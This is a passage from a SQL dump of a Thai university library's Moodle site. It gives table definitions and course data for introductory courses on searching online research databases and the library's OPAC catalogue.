  `showreports` int(4) unsigned NOT NULL DEFAULT '0',
  `visible` int(1) unsigned NOT NULL DEFAULT '1',
  `hiddensections` int(2) unsigned NOT NULL DEFAULT '0',
  `groupmode` int(4) unsigned NOT NULL DEFAULT '0',
  `groupmodeforce` int(4) unsigned NOT NULL DEFAULT '0',
  `lang` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `theme` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `cost` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `currency` char(3) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'USD',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `metacourse` int(1) unsigned NOT NULL DEFAULT '0',
  `requested` int(1) unsigned NOT NULL DEFAULT '0',
  `restrictmodules` int(1) unsigned NOT NULL DEFAULT '0',
  `expirynotify` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `expirythreshold` int(10) unsigned NOT NULL DEFAULT '0',
  `notifystudents` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `enrollable` tinyint(1) unsigned NOT NULL DEFAULT '1',
  `enrolstartdate` int(10) unsigned NOT NULL DEFAULT '0',
  `enrolenddate` int(10) unsigned NOT NULL DEFAULT '0',
  `enrol` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `category` (`category`),
  KEY `idnumber` (`idnumber`),
  KEY `shortname` (`shortname`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course`
--

LOCK TABLES `mdl_course` WRITE;
/*!40000 ALTER TABLE `mdl_course` DISABLE KEYS */;
INSERT INTO `mdl_course` VALUES (1,0,1000,'','สำนักวิทยบริการและเทคโนโลยีสารสนเทศ','ARIT','','','site',1,'',3,'Teacher','Teachers','Student','Students',0,0,0,0,0,0,0,1,0,0,0,'','','','USD',0,1473057905,0,0,0,0,0,0,1,0,0,''),(2,1,2000,'','การสืบค้นฐานข้อมูลออนไลน์','ODB001','ODB001','แนะนำการสืบค้นฐานข้อมูลออนไลน์ของสำนักวิทยบริการและเทคโนโลยีสารสนเทศ มหาวิทยาลัยราชภัฏสงขลา','topics',1,'a:9:{i:1;O:8:\"stdClass\":6:{s:2:\"cm\";s:1:\"1\";s:3:\"mod\";s:5:\"forum\";s:7:\"section\";s:1:\"0\";s:4:\"name\";s:90:\"%E0%B8%81%E0%B8%A3%E0%B8%B0%E0%B8%94%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%88%E0%B8%B2%E0%B8%A7\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:0:\"\";}i:5;O:8:\"stdClass\":7:{s:2:\"cm\";s:1:\"5\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"1\";s:4:\"name\";s:306:\"%E0%B8%A7%E0%B8%B4%E0%B8%94%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B9%80%E0%B8%97%E0%B8%84%E0%B8%99%E0%B8%B4%E0%B8%84%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B7%E0%B8%9A%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%AA%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%99%E0%B9%80%E0%B8%97%E0%B8%A8\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:292:\"target%3D%22resource4%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D5%27%2C%27resource4%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}i:4;O:8:\"stdClass\":7:{s:2:\"cm\";s:1:\"4\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"2\";s:4:\"name\";s:276:\"%E0%B8%A7%E0%B8%B4%E0%B8%94%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B7%E0%B8%9A%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B8%E0%B8%A5+Web+of+Science\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:292:\"target%3D%22resource3%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D4%27%2C%27resource3%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}i:6;O:8:\"stdClass\":7:{s:2:\"cm\";s:1:\"6\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"3\";s:4:\"name\";s:281:\"%E0%B8%A7%E0%B8%B4%E0%B8%94%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B7%E0%B8%9A%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5+ABI+INFORM+Complete\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:292:\"target%3D%22resource5%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D6%27%2C%27resource5%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}i:7;O:8:\"stdClass\":7:{s:2:\"cm\";s:1:\"7\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"4\";s:4:\"name\";s:274:\"%E0%B8%A7%E0%B8%B4%E0%B8%94%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B7%E0%B8%9A%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5+SpringerLink\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:292:\"target%3D%22resource6%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D7%27%2C%27resource6%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}i:8;O:8:\"stdClass\":7:{s:2:\"cm\";s:1:\"8\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"5\";s:4:\"name\";s:294:\"%E0%B8%A7%E0%B8%B4%E0%B8%94%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B7%E0%B8%9A%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5+ProQuest+Dissertaions+%26+Theses\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:292:\"target%3D%22resource7%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D8%27%2C%27resource7%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}i:9;O:8:\"stdClass\":7:{s:2:\"cm\";s:1:\"9\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"6\";s:4:\"name\";s:274:\"%E0%B8%A7%E0%B8%B4%E0%B8%94%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B7%E0%B8%9A%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5+ACS+Journals\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:292:\"target%3D%22resource8%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D9%27%2C%27resource8%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}i:10;O:8:\"stdClass\":7:{s:2:\"cm\";s:2:\"10\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"7\";s:4:\"name\";s:281:\"%E0%B8%A7%E0%B8%B4%E0%B8%94%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B7%E0%B8%9A%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5+ACM+Digital+Library\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:293:\"target%3D%22resource9%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D10%27%2C%27resource9%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}i:11;O:8:\"stdClass\":7:{s:2:\"cm\";s:2:\"11\";s:3:\"mod\";s:8:\"resource\";s:7:\"section\";s:1:\"8\";s:4:\"name\";s:396:\"%E0%B8%81%E0%B8%A5%E0%B8%A2%E0%B8%B8%E0%B8%97%E0%B8%98%E0%B9%8C%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%80%E0%B8%A5%E0%B8%B7%E0%B8%AD%E0%B8%81%E0%B8%A7%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%B2%E0%B8%A3%E0%B8%99%E0%B8%B2%E0%B8%99%E0%B8%B2%E0%B8%8A%E0%B8%B2%E0%B8%95%E0%B8%B4%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B5%E0%B8%9E%E0%B8%B4%E0%B8%A1%E0%B8%9E%E0%B9%8C\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:295:\"target%3D%22resource10%22+onclick%3D%22return+openpopup%28%27%2Fmod%2Fresource%2Fview.php%3Finpopup%3Dtrue%26amp%3Bid%3D11%27%2C%27resource10%27%2C%27resizable%3D1%2Cscrollbars%3D1%2Cdirectories%3D1%2Clocation%3D1%2Cmenubar%3D1%2Ctoolbar%3D1%2Cstatus%3D1%2Cheight%3D450%2Cwidth%3D620%27%29%3B%22\";s:4:\"icon\";s:9:\"f/web.gif\";}}',5,'อาจารย์','อาจารย์','นักเรียน','นักเรียน',1,1473094800,0,8,0,31457280,0,1,0,0,0,'','','','USD',1473136843,1473144550,0,0,0,0,864000,0,1,0,0,''),(3,1,1999,'','การสืบค้นทรัพยากรสารสนเทศด้วยระบบ OPAC','OPAC001','OPAC001','แนะนำการสืบค้นทรัพยากรสารสนเทศด้วยระบบ OPAC และแนะนำระเบียบในการยืม-คืนทรัพยากรสารสนเทศของสำนักวิทยบริการฯ','topics',1,'a:2:{i:12;O:8:\"stdClass\":6:{s:2:\"cm\";s:2:\"12\";s:3:\"mod\";s:5:\"forum\";s:7:\"section\";s:1:\"0\";s:4:\"name\";s:90:\"%E0%B8%81%E0%B8%A3%E0%B8%B0%E0%B8%94%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B9%88%E0%B8%B2%E0%B8%A7\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:0:\"\";}i:14;O:8:\"stdClass\":6:{s:2:\"cm\";s:2:\"14\";s:3:\"mod\";s:6:\"survey\";s:7:\"section\";s:1:\"3\";s:4:\"name\";s:171:\"%E0%B9%81%E0%B8%9A%E0%B8%9A%E0%B8%AA%E0%B8%B3%E0%B8%A3%E0%B8%A7%E0%B8%88%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1%E0%B8%9E%E0%B8%B6%E0%B8%87%E0%B8%9E%E0%B8%AD%E0%B9%83%E0%B8%88\";s:7:\"visible\";s:1:\"1\";s:5:\"extra\";s:0:\"\";}}',5,'Teacher','Teachers','Student','Students',1,1473094800,0,3,0,31457280,0,1,0,0,0,'','','','USD',1473145208,1473146345,0,0,0,0,864000,0,1,0,0,'');
/*!40000 ALTER TABLE `mdl_course` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course_allowed_modules`
--

DROP TABLE IF EXISTS `mdl_course_allowed_modules`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course_allowed_modules` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `module` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`),
  KEY `module` (`module`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course_allowed_modules`
--

LOCK TABLES `mdl_course_allowed_modules` WRITE;
/*!40000 ALTER TABLE `mdl_course_allowed_modules` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_course_allowed_modules` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course_categories`
--

DROP TABLE IF EXISTS `mdl_course_categories`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course_categories` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `parent` int(10) unsigned NOT NULL DEFAULT '0',
  `sortorder` int(10) unsigned NOT NULL DEFAULT '0',
  `coursecount` int(10) unsigned NOT NULL DEFAULT '0',
  `visible` tinyint(1) NOT NULL DEFAULT '1',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `depth` int(10) unsigned NOT NULL DEFAULT '0',
  `path` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Course categories';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course_categories`
--

LOCK TABLES `mdl_course_categories` WRITE;
/*!40000 ALTER TABLE `mdl_course_categories` DISABLE KEYS */;
INSERT INTO `mdl_course_categories` VALUES (1,'Miscellaneous','',0,0,2,1,0,1,'/1');
/*!40000 ALTER TABLE `mdl_course_categories` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course_display`
--

DROP TABLE IF EXISTS `mdl_course_display`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course_display` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `display` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `courseuserid` (`course`,`userid`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Stores info about how to display the course';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course_display`
--

LOCK TABLES `mdl_course_display` WRITE;
/*!40000 ALTER TABLE `mdl_course_display` DISABLE KEYS */;
INSERT INTO `mdl_course_display` VALUES (1,2,4,0),(2,2,1,0),(3,3,4,0),(4,3,1,0);
/*!40000 ALTER TABLE `mdl_course_display` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course_meta`
--

DROP TABLE IF EXISTS `mdl_course_meta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course_meta` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `parent_course` int(10) NOT NULL DEFAULT '0',
  `child_course` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `parent_course` (`parent_course`),
  KEY `child_course` (`child_course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course_meta`
--

LOCK TABLES `mdl_course_meta` WRITE;
/*!40000 ALTER TABLE `mdl_course_meta` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_course_meta` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course_modules`
--

DROP TABLE IF EXISTS `mdl_course_modules`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course_modules` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `module` int(10) unsigned NOT NULL DEFAULT '0',
  `instance` int(10) unsigned NOT NULL DEFAULT '0',
  `section` int(10) unsigned NOT NULL DEFAULT '0',
  `added` int(10) unsigned NOT NULL DEFAULT '0',
  `score` tinyint(4) NOT NULL DEFAULT '0',
  `indent` int(5) unsigned NOT NULL DEFAULT '0',
  `visible` tinyint(1) NOT NULL DEFAULT '1',
  `visibleold` tinyint(1) NOT NULL DEFAULT '1',
  `groupmode` tinyint(4) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `visible` (`visible`),
  KEY `course` (`course`),
  KEY `module` (`module`),
  KEY `instance` (`instance`)
) ENGINE=MyISAM AUTO_INCREMENT=15 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course_modules`
--

LOCK TABLES `mdl_course_modules` WRITE;
/*!40000 ALTER TABLE `mdl_course_modules` DISABLE KEYS */;
INSERT INTO `mdl_course_modules` VALUES (1,2,5,2,1,1473136847,0,0,1,1,0),(5,2,13,4,3,1473143905,0,0,1,1,0),(4,2,13,3,2,1473143701,0,0,1,1,0),(6,2,13,5,4,1473144036,0,0,1,1,0),(7,2,13,6,5,1473144161,0,0,1,1,0),(8,2,13,7,6,1473144243,0,0,1,1,0),(9,2,13,8,7,1473144364,0,0,1,1,0),(10,2,13,9,8,1473144424,0,0,1,1,0),(11,2,13,10,9,1473144586,0,0,1,1,0),(12,3,5,4,10,1473145213,0,0,1,1,0),(14,3,15,6,13,1473146394,0,0,1,1,0);
/*!40000 ALTER TABLE `mdl_course_modules` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course_request`
--

DROP TABLE IF EXISTS `mdl_course_request`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course_request` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `fullname` varchar(254) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `shortname` varchar(15) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `summary` text COLLATE utf8_unicode_ci NOT NULL,
  `reason` text COLLATE utf8_unicode_ci NOT NULL,
  `requester` int(10) NOT NULL DEFAULT '0',
  `password` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `shortname` (`shortname`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course_request`
--

LOCK TABLES `mdl_course_request` WRITE;
/*!40000 ALTER TABLE `mdl_course_request` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_course_request` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course_sections`
--

DROP TABLE IF EXISTS `mdl_course_sections`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course_sections` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `section` int(10) unsigned NOT NULL DEFAULT '0',
  `summary` text COLLATE utf8_unicode_ci NOT NULL,
  `sequence` text COLLATE utf8_unicode_ci NOT NULL,
  `visible` tinyint(1) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `coursesection` (`course`,`section`)
) ENGINE=MyISAM AUTO_INCREMENT=14 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_course_sections`
--

LOCK TABLES `mdl_course_sections` WRITE;
/*!40000 ALTER TABLE `mdl_course_sections` DISABLE KEYS */;
INSERT INTO `mdl_course_sections` VALUES (1,2,0,'แนะนำการสืบค้นฐานข้อมูลออนไลน์','1',1),(2,2,2,'Web of Science เป็นฐานข้อมูลบรรณานุกรมและสาระสังเขปพร้อมการอ้างอิงและอ้างถึง ที่ครอบคลุมสาขาวิชาหลักทั้งวิทยาศาสตร์ สังคมศาสตร์ และมนุษยศาสตร์ จากวารสารประมาณ 9,200 รายชื่อ ให้ข้อมูลตั้งแต่ปี 2001 - ปัจจุบัน','4',1),(3,2,1,'เทคนิคการสืบค้นสารสนเทศ','5',1),(4,2,3,'ABI INFORM Complete เป็นฐานข้อมูลที่รวบรวมข้อมูลทาง ด้านธุรกิจ การโฆษณา การตลาด เศรษฐศาสตร์ การจัดการทรัพยากรมนุษย์ การเงิน ภาษี คอมพิวเตอร์ มากกว่า 1,100 รายชื่อ รวมถึงสารสนเทศของบริษัทต่าง ๆ อีกมากกว่า 60,000 บริษัท และสามารถสืบค้นบทความฉบับเต็มได้จากวารสารทั่วโลกกว่า 800 รายชื่อ','6',1),(5,2,4,'SpringerLink เป็นฐานข้อมูลวารสารอิเล็กทรอนิกส์ วิทยาศาสตร์และวิทยาศาสตร์สุขภาพ ครอบคลุมวารสาร จำนวนเอกสารฉบับเต็ม 1,130 ชื่อ ในข้อมูลปี 1997 - ปัจจุบัน','7',1),(6,2,5,'ProQuest Dissertaions & Theses เป็นฐานข้อมูลที่รวบรวมวิทยานิพนธ์ระดับปริญญาโท และปริญญาเอกของสถาบันการศึกษาที่ได้รับการรับรองจากประเทศสหรัฐอเมริกาและแคนาดา รวมถึงบางสถาบันการศึกษาจากทวีปยุโรป ออสเตรเลีย เอเชีย และแอฟริกา มากกว่า 1,000 แห่ง ประกอบไปด้วยข้อมูลมากกว่า 2.4 ล้านระเบียน','8',1),(7,2,6,'ACS Journals (American Chemical Society Journal) เป็นฐานข้อมูลที่รวบรวมบทความ และงานวิจัย จากวารสารทางด้านเคมีและวิทยาศาสตร์ที่เกี่ยวข้องโดยรวบรวมจากวารสารทั้งที่พิมพ์เป็นรูปเล่ม วารสารอิเล็กทรอนิกส์ (Electronic Journals) ข้อมูลที่ได้จากการสืบค้นเป็นข้อมูลฉบับเม (Full Text) และรูปภาพ (Image) ย้อนหลังตั้งแต่ปี 1996','9',1),(8,2,7,'ACM Digital Library เป็นฐานข้อมูลทางด้านคอมพิวเตอร์และเทคโนโลยีสารสนเทศ จากสิ่งพิมพ์ต่อเนื่อง จดหมายข่าว และเอกสารในการประชุมวิชาการ ที่จัดทำโดย ACM (Association for Computing Machinery) ซึ่งเนื้อหาเอกสารประกอบด้วยข้อมูลที่สำคัญ เช่น รายการบรรณานุกรม สาระสังเขป artcile reviews และบทความฉบับเต็ม ให้ข้อมูลตั้งแต่ปี 1985 - ปัจจุบัน','10',1),(9,2,8,'กลยุทธ์การเลือกวารสารนานาชาติเพื่อการตีพิมพ์','11',1),(10,3,0,'แนะนำการสืบค้นทรัพยากรสารสนเทศด้วยระบบ OPAC และแนะนำระเบียบในการยืม-คืนทรัพยากรสารสนเทศของสำนักวิทยบริการฯ','12',1),(11,3,1,'','',1),(12,3,2,'','',1),(13,3,3,'','14',1);
/*!40000 ALTER TABLE `mdl_course_sections` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_data`
--

DROP TABLE IF EXISTS `mdl_data`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_data` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` text COLLATE utf8_unicode_ci NOT NULL,
  `ratings` int(10) NOT NULL DEFAULT '0',
  `comments` int(4) unsigned NOT NULL DEFAULT '0',
  `timeavailablefrom` int(10) unsigned NOT NULL DEFAULT '0',
  `timeavailableto` int(10) unsigned NOT NULL DEFAULT '0',
  `timeviewfrom` int(10) unsigned NOT NULL DEFAULT '0',
  `timeviewto` int(10) unsigned NOT NULL DEFAULT '0',
  `participants` int(4) unsigned NOT NULL DEFAULT '0',
  `requiredentries` int(8) unsigned NOT NULL DEFAULT '0',
  `requiredentriestoview` int(8) unsigned NOT NULL DEFAULT '0',
  `maxentries` int(8) unsigned NOT NULL DEFAULT '0',
  `rssarticles` int(4) unsigned NOT NULL DEFAULT '0',
  `singletemplate` text COLLATE utf8_unicode_ci NOT NULL,
  `listtemplate` text COLLATE utf8_unicode_ci NOT NULL,
  `listtemplateheader` text COLLATE utf8_unicode_ci NOT NULL,
  `listtemplatefooter` text COLLATE utf8_unicode_ci NOT NULL,
  `addtemplate` text COLLATE utf8_unicode_ci NOT NULL,
  `rsstemplate` text COLLATE utf8_unicode_ci NOT NULL,
  `rsstitletemplate` text COLLATE utf8_unicode_ci NOT NULL,
  `csstemplate` text COLLATE utf8_unicode_ci NOT NULL,
  `approval` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `scale` int(10) NOT NULL DEFAULT '0',
  `assessed` int(10) unsigned NOT NULL DEFAULT '0',
  `assesspublic` int(4) unsigned NOT NULL DEFAULT '0',
  `defaultsort` int(10) unsigned NOT NULL DEFAULT '0',
  `defaultsortdir` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `editany` tinyint(4) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines settings for each Database activity';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_data`
--

LOCK TABLES `mdl_data` WRITE;
/*!40000 ALTER TABLE `mdl_data` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_data` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_data_comments`
--

DROP TABLE IF EXISTS `mdl_data_comments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_data_comments` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `recordid` int(10) unsigned NOT NULL DEFAULT '0',
  `content` text COLLATE utf8_unicode_ci NOT NULL,
